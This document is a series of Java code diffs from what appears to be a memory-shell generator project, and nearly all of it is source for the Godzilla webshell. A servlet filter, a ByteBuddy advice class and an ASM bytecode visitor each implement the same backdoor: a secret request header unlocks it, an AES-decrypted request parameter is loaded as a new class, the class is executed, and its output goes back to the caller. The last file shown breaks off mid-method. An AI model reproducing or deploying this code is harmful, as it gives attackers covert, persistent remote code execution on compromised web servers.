public Object unwrapResponse(Object response) {
|
||||
Object internalResponse = response;
|
||||
while (true) {
|
||||
try {
|
||||
Object r = getFieldValue(response, "response");
|
||||
if (r == internalResponse) {
|
||||
return r;
|
||||
} else {
|
||||
internalResponse = r;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
return internalResponse;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Field field = null;
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
field = clazz.getDeclaredField(name);
|
||||
break;
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (field == null) {
|
||||
throw new NoSuchFieldException(name);
|
||||
} else {
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
}
|
||||
}
|
||||
+31
-36
@@ -26,6 +26,37 @@ public class GodzillaFilter extends ClassLoader implements Filter {
|
||||
super(z);
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws ServletException, IOException {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequest;
|
||||
HttpServletResponse response = (HttpServletResponse) servletResponse;
|
||||
try {
|
||||
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
||||
HttpSession session = request.getSession();
|
||||
byte[] data = base64Decode(request.getParameter(pass));
|
||||
data = this.x(data, false);
|
||||
if (session.getAttribute("payload") == null) {
|
||||
session.setAttribute("payload", (new GodzillaFilter(this.getClass().getClassLoader())).Q(data));
|
||||
} else {
|
||||
request.setAttribute("parameters", data);
|
||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||
Object f = ((Class<?>) session.getAttribute("payload")).newInstance();
|
||||
f.equals(arrOut);
|
||||
f.equals(request);
|
||||
response.getWriter().write(md5.substring(0, 16));
|
||||
f.toString();
|
||||
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||
response.getWriter().write(md5.substring(16));
|
||||
}
|
||||
} else {
|
||||
chain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
chain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static String base64Encode(byte[] bs) throws Exception {
|
||||
String value = null;
|
||||
@@ -80,42 +111,6 @@ public class GodzillaFilter extends ClassLoader implements Filter {
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws ServletException, IOException {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequest;
|
||||
HttpServletResponse response = (HttpServletResponse) servletResponse;
|
||||
try {
|
||||
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
||||
HttpSession session = request.getSession();
|
||||
byte[] data = base64Decode(request.getParameter(pass));
|
||||
data = this.x(data, false);
|
||||
if (session.getAttribute("payload") == null) {
|
||||
session.setAttribute("payload", (new GodzillaFilter(this.getClass().getClassLoader())).Q(data));
|
||||
} else {
|
||||
request.setAttribute("parameters", data);
|
||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||
Object f;
|
||||
try {
|
||||
f = ((Class<?>) session.getAttribute("payload")).newInstance();
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
f.equals(arrOut);
|
||||
f.equals(request);
|
||||
response.getWriter().write(md5.substring(0, 16));
|
||||
f.toString();
|
||||
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||
response.getWriter().write(md5.substring(16));
|
||||
}
|
||||
} else {
|
||||
chain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
chain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void init(FilterConfig filterConfig) throws ServletException {
|
||||
}
|
||||
|
||||
-90
@@ -1,90 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.shelltool.godzilla;
|
||||
|
||||
import net.bytebuddy.asm.Advice;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.PrintWriter;
|
||||
import java.lang.reflect.Method;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class GodzillaFilterChainAdvisor {
|
||||
|
||||
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
|
||||
public static boolean enter(
|
||||
@Advice.Argument(value = 0) Object request,
|
||||
@Advice.Argument(value = 1) Object response
|
||||
) {
|
||||
String key = "key";
|
||||
String pass = "pass";
|
||||
String md5 = "md5";
|
||||
String headerName = "headerName";
|
||||
String headerValue = "headerValue";
|
||||
try {
|
||||
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
|
||||
if (value != null
|
||||
&& value.contains(headerValue)) {
|
||||
String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
|
||||
byte[] data = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64", true, Thread.currentThread().getContextClassLoader());
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter);
|
||||
} catch (Exception var6) {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder", true, Thread.currentThread().getContextClassLoader());
|
||||
Object decoder = base64.newInstance();
|
||||
data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter);
|
||||
}
|
||||
Class<?> cipherClass = Class.forName("javax.crypto.Cipher", true, Thread.currentThread().getContextClassLoader());
|
||||
Class<?> secretKeySpecClass = Class.forName("javax.crypto.spec.SecretKeySpec", true, Thread.currentThread().getContextClassLoader());
|
||||
Class<?> keyClass = Class.forName("java.security.Key", true, Thread.currentThread().getContextClassLoader());
|
||||
Method cipherInitMethod = cipherClass.getMethod("init", int.class, keyClass);
|
||||
Method doFinalMethod = cipherClass.getMethod("doFinal", byte[].class);
|
||||
|
||||
Object cipher = cipherClass.getMethod("getInstance", String.class).invoke(cipherClass, "AES");
|
||||
Object secretKeySpec = secretKeySpecClass.getConstructor(byte[].class, String.class).newInstance(key.getBytes(), "AES");
|
||||
cipherInitMethod.invoke(cipher, 2, secretKeySpec);
|
||||
|
||||
data = (byte[]) doFinalMethod.invoke(cipher, data);
|
||||
Object session = request.getClass().getMethod("getSession").invoke(request);
|
||||
Object sessionPayload = session.getClass().getMethod("getAttribute", String.class).invoke(session, "payload");
|
||||
if (sessionPayload == null) {
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> payload = (Class<?>) defineClass.invoke(Thread.currentThread().getContextClassLoader(), data, 0, data.length);
|
||||
session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "payload", payload);
|
||||
} else {
|
||||
request.getClass().getMethod("setAttribute", String.class, Object.class).invoke(request, "parameters", data);
|
||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||
Object f = ((Class<?>) sessionPayload).newInstance();
|
||||
f.equals(arrOut);
|
||||
f.equals(request);
|
||||
PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response);
|
||||
writer.write(md5.substring(0, 16));
|
||||
f.toString();
|
||||
|
||||
cipherInitMethod.invoke(cipher, 1, secretKeySpec);
|
||||
byte[] encryptBytes = (byte[]) doFinalMethod.invoke(cipher, arrOut.toByteArray());
|
||||
String result = null;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
result = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, encryptBytes);
|
||||
} catch (Exception var6) {
|
||||
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
Object encoder = base64.newInstance();
|
||||
result = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, encryptBytes);
|
||||
}
|
||||
writer.write(result);
|
||||
writer.write(md5.substring(16));
|
||||
}
|
||||
return true;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return false;
|
||||
}
|
||||
}
|
||||
-891
@@ -1,891 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.shelltool.godzilla;
|
||||
|
||||
import org.objectweb.asm.Label;
|
||||
import org.objectweb.asm.MethodVisitor;
|
||||
import org.objectweb.asm.Opcodes;
|
||||
import org.objectweb.asm.Type;
|
||||
|
||||
public class GodzillaFilterChainAsmMethodVisitor extends MethodVisitor {
|
||||
|
||||
Type[] argTypes;
|
||||
|
||||
public GodzillaFilterChainAsmMethodVisitor(MethodVisitor mv, Type[] argTypes) {
|
||||
super(Opcodes.ASM9, mv);
|
||||
this.argTypes = argTypes;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void visitCode() {
|
||||
super.visitCode();
|
||||
|
||||
int startIndex = 1;
|
||||
for (Type type : argTypes) {
|
||||
startIndex += type.getSize();
|
||||
}
|
||||
|
||||
int keyIndex = startIndex;
|
||||
int passIndex = startIndex + 1;
|
||||
int md5Index = startIndex + 2;
|
||||
int headerNameIndex = startIndex + 3;
|
||||
int headerValueIndex = startIndex + 4;
|
||||
int curHeaderIndex = startIndex + 5;
|
||||
int curParameterIndex = startIndex + 6;
|
||||
int dataIndex = startIndex + 7;
|
||||
int base64ClassIndex = startIndex + 8;
|
||||
int decoderClassIndex = startIndex + 9;
|
||||
int base64ExceptionIndex = startIndex + 10;
|
||||
int cipherClassIndex = startIndex + 11;
|
||||
int secretKeySpecClassIndex = startIndex + 12;
|
||||
int keyClassIndex = startIndex + 13;
|
||||
int cipherInitMethodIndex = startIndex + 14;
|
||||
int doFinalMethodIndex = startIndex + 15;
|
||||
int cipherIndex = startIndex + 16;
|
||||
int secretKeySpecIndex = startIndex + 17;
|
||||
int sessionIndex = startIndex + 18;
|
||||
int sessionPayloadIndex = startIndex + 19;
|
||||
int defineClassIndex = startIndex + 20;
|
||||
int payloadClassIndex = startIndex + 21;
|
||||
int arrOutIndex = startIndex + 22;
|
||||
int instanceIndex = startIndex + 23;
|
||||
int writerIndex = startIndex + 24;
|
||||
int encryptBytesIndex = startIndex + 25;
|
||||
int encoderClassIndex = startIndex + 26;
|
||||
int resultIndex = startIndex + 27;
|
||||
int base64EncodeExceptionIndex = startIndex + 28;
|
||||
|
||||
int outerExceptionIndex = startIndex + 26;
|
||||
|
||||
int requestIndex = 1;
|
||||
int responseIndex = 2;
|
||||
|
||||
// Define constants
|
||||
mv.visitLdcInsn("key");
|
||||
mv.visitVarInsn(Opcodes.ASTORE, keyIndex);
|
||||
mv.visitLdcInsn("pass");
|
||||
mv.visitVarInsn(Opcodes.ASTORE, passIndex);
|
||||
mv.visitLdcInsn("md5");
|
||||
mv.visitVarInsn(Opcodes.ASTORE, md5Index);
|
||||
mv.visitLdcInsn("headerName");
|
||||
mv.visitVarInsn(Opcodes.ASTORE, headerNameIndex);
|
||||
mv.visitLdcInsn("headerValue");
|
||||
mv.visitVarInsn(Opcodes.ASTORE, headerValueIndex);
|
||||
|
||||
// Define labels for try-catch
|
||||
Label tryStart = new Label();
|
||||
Label tryEnd = new Label();
|
||||
Label catchHandler = new Label();
|
||||
|
||||
// Register try-catch block
|
||||
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Exception");
|
||||
|
||||
// Start of try block
|
||||
mv.visitLabel(tryStart);
|
||||
|
||||
getHeaderValue(requestIndex, headerNameIndex, curHeaderIndex);
|
||||
|
||||
// if (value != null && value.contains(headerValue))
|
||||
mv.visitVarInsn(Opcodes.ALOAD, curHeaderIndex); // Load value
|
||||
Label ifNullLabel = new Label();
|
||||
mv.visitJumpInsn(Opcodes.IFNULL, ifNullLabel);
|
||||
|
||||
mv.visitVarInsn(Opcodes.ALOAD, curHeaderIndex); // Load value
|
||||
mv.visitVarInsn(Opcodes.ALOAD, headerValueIndex); // Load headerValue
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/String", "contains",
|
||||
"(Ljava/lang/CharSequence;)Z", false);
|
||||
mv.visitJumpInsn(Opcodes.IFEQ, ifNullLabel);
|
||||
|
||||
getParameterValue(requestIndex, passIndex, curParameterIndex);
|
||||
|
||||
// Declare data variable
|
||||
mv.visitInsn(Opcodes.ACONST_NULL);
|
||||
mv.visitVarInsn(Opcodes.ASTORE, dataIndex); // Store null in data (local var 10)
|
||||
|
||||
tryDecodeBase64(base64ClassIndex, decoderClassIndex, curParameterIndex, dataIndex, base64ExceptionIndex);
|
||||
|
||||
decryptData(cipherClassIndex, secretKeySpecClassIndex, keyClassIndex, cipherInitMethodIndex, doFinalMethodIndex, cipherIndex, keyIndex, secretKeySpecIndex, dataIndex);
|
||||
|
||||
getSessionPayload(requestIndex, sessionIndex, sessionPayloadIndex);
|
||||
|
||||
// if (sessionPayload == null)
|
||||
mv.visitVarInsn(Opcodes.ALOAD, sessionPayloadIndex); // Load sessionPayload
|
||||
Label sessionPayloadNotNull = new Label();
|
||||
mv.visitJumpInsn(Opcodes.IFNONNULL, sessionPayloadNotNull);
|
||||
|
||||
defineClassWhenFirstInvoke(defineClassIndex, dataIndex, payloadClassIndex, sessionIndex);
|
||||
|
||||
// Else branch - sessionPayload is not null
|
||||
mv.visitLabel(sessionPayloadNotNull);
|
||||
|
||||
// request.getClass().getMethod("setAttribute", String.class, Object.class)
|
||||
// .invoke(request, "parameters", data);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass",
|
||||
"()Ljava/lang/Class;", false);
|
||||
mv.visitLdcInsn("setAttribute");
|
||||
mv.visitInsn(Opcodes.ICONST_2);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitLdcInsn(Type.getType("Ljava/lang/String;"));
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitLdcInsn(Type.getType("Ljava/lang/Object;"));
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
|
||||
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request
|
||||
mv.visitInsn(Opcodes.ICONST_2);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitLdcInsn("parameters");
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, dataIndex); // Load data
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method",
|
||||
"invoke",
|
||||
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
|
||||
mv.visitInsn(Opcodes.POP);
|
||||
|
||||
// ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||
mv.visitTypeInsn(Opcodes.NEW, "java/io/ByteArrayOutputStream");
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, "java/io/ByteArrayOutputStream",
|
||||
"<init>", "()V", false);
|
||||
mv.visitVarInsn(Opcodes.ASTORE, arrOutIndex); // Store arrOut in local var 25
|
||||
|
||||
// Object f = ((Class<?>) sessionPayload).newInstance();
|
||||
mv.visitVarInsn(Opcodes.ALOAD, sessionPayloadIndex); // Load sessionPayload
|
||||
mv.visitTypeInsn(Opcodes.CHECKCAST, "java/lang/Class");
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "newInstance",
|
||||
"()Ljava/lang/Object;", false);
|
||||
mv.visitVarInsn(Opcodes.ASTORE, instanceIndex); // Store f in local var 26
|
||||
|
||||
// f.equals(arrOut);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, instanceIndex); // Load f
|
||||
mv.visitVarInsn(Opcodes.ALOAD, arrOutIndex); // Load arrOut
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "equals",
|
||||
"(Ljava/lang/Object;)Z", false);
|
||||
mv.visitInsn(Opcodes.POP); // Discard result
|
||||
|
||||
// f.equals(request);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, instanceIndex); // Load f
|
||||
mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "equals",
|
||||
"(Ljava/lang/Object;)Z", false);
|
||||
mv.visitInsn(Opcodes.POP); // Discard result
|
||||
|
||||
// PrintWriter writer = (PrintWriter)
|
||||
// response.getClass().getMethod("getWriter").invoke(response);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, responseIndex); // Load response
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass",
|
||||
"()Ljava/lang/Class;", false);
|
||||
mv.visitLdcInsn("getWriter");
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
|
||||
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, responseIndex); // Load response
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method",
|
||||
"invoke",
|
||||
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
|
||||
mv.visitTypeInsn(Opcodes.CHECKCAST, "java/io/PrintWriter");
|
||||
mv.visitVarInsn(Opcodes.ASTORE, writerIndex); // Store writer in local var 27
|
||||
|
||||
// writer.write(md5.substring(0, 16));
|
||||
mv.visitVarInsn(Opcodes.ALOAD, writerIndex); // Load writer
|
||||
mv.visitVarInsn(Opcodes.ALOAD, md5Index); // Load md5
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitIntInsn(Opcodes.BIPUSH, 16);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/String", "substring",
|
||||
"(II)Ljava/lang/String;", false);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/PrintWriter", "write",
|
||||
"(Ljava/lang/String;)V", false);
|
||||
|
||||
// f.toString();
|
||||
mv.visitVarInsn(Opcodes.ALOAD, instanceIndex); // Load f
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "toString",
|
||||
"()Ljava/lang/String;", false);
|
||||
mv.visitInsn(Opcodes.POP); // Discard result
|
||||
|
||||
// Re-initialize cipher for encryption
|
||||
// cipherInitMethod.invoke(cipher, 1, secretKeySpec);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, cipherInitMethodIndex); // Load cipherInitMethod
|
||||
mv.visitVarInsn(Opcodes.ALOAD, cipherIndex); // Load cipher
|
||||
mv.visitInsn(Opcodes.ICONST_2);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitInsn(Opcodes.ICONST_1); // Constant 1 for Cipher.ENCRYPT_MODE
|
||||
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Integer", "valueOf",
|
||||
"(I)Ljava/lang/Integer;", false);
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, secretKeySpecIndex); // Load secretKeySpec
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method",
|
||||
"invoke",
|
||||
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
|
||||
mv.visitInsn(Opcodes.POP);
|
||||
|
||||
// byte[] encryptBytes = (byte[]) doFinalMethod.invoke(cipher,
|
||||
// arrOut.toByteArray());
|
||||
mv.visitVarInsn(Opcodes.ALOAD, doFinalMethodIndex); // Load doFinalMethod
|
||||
mv.visitVarInsn(Opcodes.ALOAD, cipherIndex); // Load cipher
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, arrOutIndex); // Load arrOut
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/ByteArrayOutputStream",
|
||||
"toByteArray", "()[B", false);
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method",
|
||||
"invoke",
|
||||
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
|
||||
mv.visitTypeInsn(Opcodes.CHECKCAST, "[B");
|
||||
mv.visitVarInsn(Opcodes.ASTORE, encryptBytesIndex); // Store encryptBytes in local var 28
|
||||
|
||||
tryEncodeBase64(base64ClassIndex, encoderClassIndex, encryptBytesIndex, resultIndex, base64EncodeExceptionIndex);
|
||||
|
||||
// writer.write(result);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, writerIndex); // Load writer
|
||||
mv.visitVarInsn(Opcodes.ALOAD, resultIndex); // Load result
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/PrintWriter", "write",
|
||||
"(Ljava/lang/String;)V", false);
|
||||
|
||||
// writer.write(md5.substring(16));
|
||||
mv.visitVarInsn(Opcodes.ALOAD, writerIndex); // Load writer
|
||||
mv.visitVarInsn(Opcodes.ALOAD, md5Index); // Load md5
|
||||
mv.visitIntInsn(Opcodes.BIPUSH, 16);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/String", "substring",
|
||||
"(I)Ljava/lang/String;", false);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/PrintWriter", "write",
|
||||
"(Ljava/lang/String;)V", false);
|
||||
|
||||
// Return from the method without calling original doFilter
|
||||
mv.visitInsn(Opcodes.RETURN);
|
||||
|
||||
// Label for when header value doesn't match
|
||||
mv.visitLabel(ifNullLabel);
|
||||
|
||||
// End of try block
|
||||
mv.visitLabel(tryEnd);
|
||||
|
||||
// Skip catch block if we didn't enter it
|
||||
Label afterCatch = new Label();
|
||||
mv.visitJumpInsn(Opcodes.GOTO, afterCatch);
|
||||
|
||||
// Start of catch block
|
||||
mv.visitLabel(catchHandler);
|
||||
// The exception is now on the stack
|
||||
mv.visitVarInsn(Opcodes.ASTORE, outerExceptionIndex); // Store exception in local var 10 and discard it
|
||||
mv.visitVarInsn(Opcodes.ALOAD, outerExceptionIndex);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Exception", "printStackTrace", "()V", false);
|
||||
// End of catch block
|
||||
mv.visitLabel(afterCatch);
|
||||
}
|
||||
|
||||
private void tryEncodeBase64(int base64ClassIndex, int encoderClassIndex, int encryptBytesIndex, int resultIndex, int base64EncodeExceptionIndex) {
|
||||
// Encoding encrypted bytes with Base64
|
||||
// Try first with java.util.Base64
|
||||
Label base64EncodeTrialStart = new Label();
|
||||
Label base64EncodeCatch = new Label();
|
||||
Label afterBase64Encode = new Label();
|
||||
|
||||
mv.visitTryCatchBlock(base64EncodeTrialStart, afterBase64Encode, base64EncodeCatch, "java/lang/Exception");
|
||||
|
||||
mv.visitLabel(base64EncodeTrialStart);
|
||||
|
||||
// base64 = Class.forName("java.util.Base64");
|
||||
mv.visitLdcInsn("java.util.Base64");
|
||||
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Class", "forName",
|
||||
"(Ljava/lang/String;)Ljava/lang/Class;",
|
||||
false);
|
||||
mv.visitVarInsn(Opcodes.ASTORE, base64ClassIndex); // Store base64 class in local var 29
|
||||
|
||||
// Object encoder = base64.getMethod("getEncoder").invoke(base64);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, base64ClassIndex); // Load base64 class
|
||||
mv.visitLdcInsn("getEncoder");
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
|
||||
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, base64ClassIndex); // Load base64 class
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method",
|
||||
"invoke",
|
||||
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
|
||||
mv.visitVarInsn(Opcodes.ASTORE, encoderClassIndex); // Store encoder in local var 30
|
||||
|
||||
// result = (String) encoder.getClass().getMethod("encodeToString",
|
||||
// byte[].class).invoke(encoder, encryptBytes);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, encoderClassIndex); // Load encoder
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass",
|
||||
"()Ljava/lang/Class;", false);
|
||||
mv.visitLdcInsn("encodeToString");
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitLdcInsn(Type.getType("[B"));
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
|
||||
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, encoderClassIndex); // Load encoder
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, encryptBytesIndex); // Load encryptBytes
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method",
|
||||
"invoke",
|
||||
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
|
||||
mv.visitTypeInsn(Opcodes.CHECKCAST, "java/lang/String");
|
||||
mv.visitVarInsn(Opcodes.ASTORE, resultIndex); // Store result in local var 31
|
||||
|
||||
mv.visitJumpInsn(Opcodes.GOTO, afterBase64Encode);
|
||||
|
||||
// Fallback to sun.misc.BASE64Encoder
|
||||
mv.visitLabel(base64EncodeCatch);
|
||||
mv.visitVarInsn(Opcodes.ASTORE, base64EncodeExceptionIndex); // Store exception in local var 32
|
||||
|
||||
// base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
mv.visitLdcInsn("sun.misc.BASE64Encoder");
|
||||
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Class", "forName",
|
||||
"(Ljava/lang/String;)Ljava/lang/Class;",
|
||||
false);
|
||||
mv.visitVarInsn(Opcodes.ASTORE, base64ClassIndex); // Store base64 class in local var 29
|
||||
|
||||
// Object encoder = base64.newInstance();
|
||||
mv.visitVarInsn(Opcodes.ALOAD, base64ClassIndex); // Load base64 class
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "newInstance",
|
||||
"()Ljava/lang/Object;", false);
|
||||
mv.visitVarInsn(Opcodes.ASTORE, encoderClassIndex); // Store encoder in local var 30
|
||||
|
||||
// result = (String) encoder.getClass().getMethod("encode",
|
||||
// byte[].class).invoke(encoder, encryptBytes);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, encoderClassIndex); // Load encoder
|
||||
